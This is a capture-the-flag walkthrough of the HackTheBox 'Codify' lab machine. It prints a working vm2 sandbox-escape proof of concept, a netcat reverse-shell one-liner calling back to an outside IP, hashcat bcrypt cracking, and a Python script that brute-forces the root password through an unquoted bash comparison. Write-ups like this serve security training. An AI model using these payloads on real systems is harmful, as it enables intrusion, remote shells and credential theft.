HackTheBox Codify Walkthrough

In this post you will find a step by step resolution walkthrough of the Codify machine on HTB platform 2023.
Codify is an easy linux machine that targets the exploitation of a vulnerable nodeJS library to escape a Sandbox environment and gain access to the host machine.
Enumeration
To enumerate the machine a first nmap scan to discover the open TCP ports on the machine was performed. Also when the open ports were retrieved a more in depth scan including fingerprinting was issued. With the following commands:
# First nmap scan
sudo nmap -sS -p- --min-rate 500 --open 10.10.11.239 -Pn -n -oG recon
# Exhaustive scan of the open ports
nmap -p80,22 -sCV -Pn -n -oN openports 10.10.11.239
The results obtained by this scans showed some interesting open ports:
- Port 80 is open and is hosting a HTTP server, Apache httpd 2.4.52
- Port 22 is open and from the obtained banner looks like a ssh service version: OpenSSH 8.9p1
From the nmap scan we can see this is a linux machine, probably a Ubuntu distro.
Web enumeration
As there are only two ports open and ssh is often not vulnerable by itself, we started enmumeration via TCP 80 port. First fingerprinting the website returns similar information as the obtained executing the nmap scripts. Moving on and visiting the website we obtain the main functionality of the site. A module that allows you to test your Node.js code in a sandbox environment and display the output. This looks promissing. Further inspection of the available pages we find that there are some limitations explained at
http://codify.htb/limitations
, this looks like there is some kind of sanitization to avoid system command execution. Also a list of the available libraries is shown. Cool, we take note. 📝📝 On the other hand an about us page was found and there was something revealing how the aplication is handeling the nodeJS code testing. On the last paragraph we could read:
The vm2 library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system.
Also a link to the github page of the library is present, revealing the use of the version 3.9.16, again noted 📝📝.
Checking for known vulnerabilities for the node library we found a post on github (https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244) revealing a vuln on the handleException()
function which can be used to escape the sandbox and run arbitrary code for vm2<=3.9.16
, this looks promissing. The vulnerable code looks like:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('<evil command>');
}
`
console.log(vm.run(code));
After injecting some “testing” code as a whoami
or an ifconfig
we got Remote Command Execution
. Great! We now can try to get a reverse shell.
Getting a foothold
As we have RCE we set a nc listener and used the following payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 443 >/tmp/f
Great we are inside! 😈😈
We are inside but it looks like svc
user cannot do much. Taking into account there is another user present called Joshua
, it is possible we need to gain access as him to further enumerate.
User Pivoting
Most of the times on website folders there are configuration or juicy files that can contain leaked sensitive data. After reviewing the /var/www/contact
folder we found a tickets.db sqlite database file.
At this point, we could have displayed some of its info directly with the strings command, but to inspect the file in a more visual way, the file was transferred to our machine and displayed with the GUI DBeaver tool. After importing the database, two tables were present, tickets and users. Tickets didn’t provide any interesting info but users displayed what looks like the hashed credentials of Joshua
.
To check which hash type is the password encrypted as, a tool named hashid
was used. The output revealed some probable hashes.
hashid <hash>
After storing the hash on a file, we tried to crack it with hashcat using a dictionary attack specifying the bcrypt mode and the rockyou
wordlist.
hashcat -m 3200 joshua_hash /usr/share/wordlists/rockyou.txt
After a couple minutes boom💥💥!!!! The hash was cracked and the password was obtained… (Joshua if you are reading this, use strong passwords!).
Now trying the creds on the system led to a user pivoting and we turned ourselves into joshua.
At this point we got the flag located at /home/joshua/user.txt
Privilege Escalation
Looking at our privileges as the user Joshua we checked if he could execute any file with sudo permissions
as:
sudo -l
As we can see joshua can exeute a .sh script as the user root. If the script has something we can exploit we probably can get root access.
After reviewing the script, I discovered an unsafe practice: unquoted variable comparison
. If the right side of the == in a bash script is not quoted, Bash will perform pattern matching instead of treating it as a string. In this context, with the pattern {valid_password_char}{*}, any character followed by any number of characters can potentially match. Exploiting this pattern, we could try to bruteforce the root password.
To do this the following python script was created:
import string
import subprocess
all_characters = string.ascii_letters + string.digits
password = ""
found = False
while not found:
for character in all_characters:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, capture_output=True, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
After executing the script we obtained the root password.
At this point we successfully pwned the machine and we have got complete control of the system 💀💀💀
Last but not least we retrieved the flag located at /root/root.txt